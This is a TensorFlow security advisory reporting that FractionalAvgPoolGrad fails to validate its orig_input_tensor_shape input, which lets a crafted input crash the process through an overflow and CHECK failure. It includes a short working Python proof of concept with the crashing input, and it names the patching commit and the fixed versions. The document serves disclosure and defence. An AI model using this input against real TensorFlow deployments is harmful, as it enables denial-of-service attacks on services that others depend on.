TensorFlow vulnerable to `CHECK` failures in `FractionalAvgPoolGrad`
Impact
The implementation of FractionalAvgPoolGrad does not fully validate the input orig_input_tensor_shape. This results in an overflow that results in a CHECK failure which can be used to trigger a denial of service attack.
```python
import tensorflow as tf
overlapping = True
orig_input_tensor_shape = tf.constant(-1879048192, shape=[4], dtype=tf.int64)
out_backprop = tf.constant([], shape=[0,0,0,0], dtype=tf.float64)
row_pooling_sequence = tf.constant(1, shape=[4], dtype=tf.int64)
col_pooling_sequence = tf.constant(1, shape=[4], dtype=tf.int64)
tf.raw_ops.FractionalAvgPoolGrad(orig_input_tensor_shape=orig_input_tensor_shape, out_backprop=out_backprop, row_pooling_sequence=row_pooling_sequence, col_pooling_sequence=col_pooling_sequence, overlapping=overlapping)

Patches
We have patched the issue in GitHub commit [03a659d7be9a1154fdf5eeac221e5950fec07dad](https://github.com/tensorflow/tensorflow/commit/03a659d7be9a1154fdf5eeac221e5950fec07dad).
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
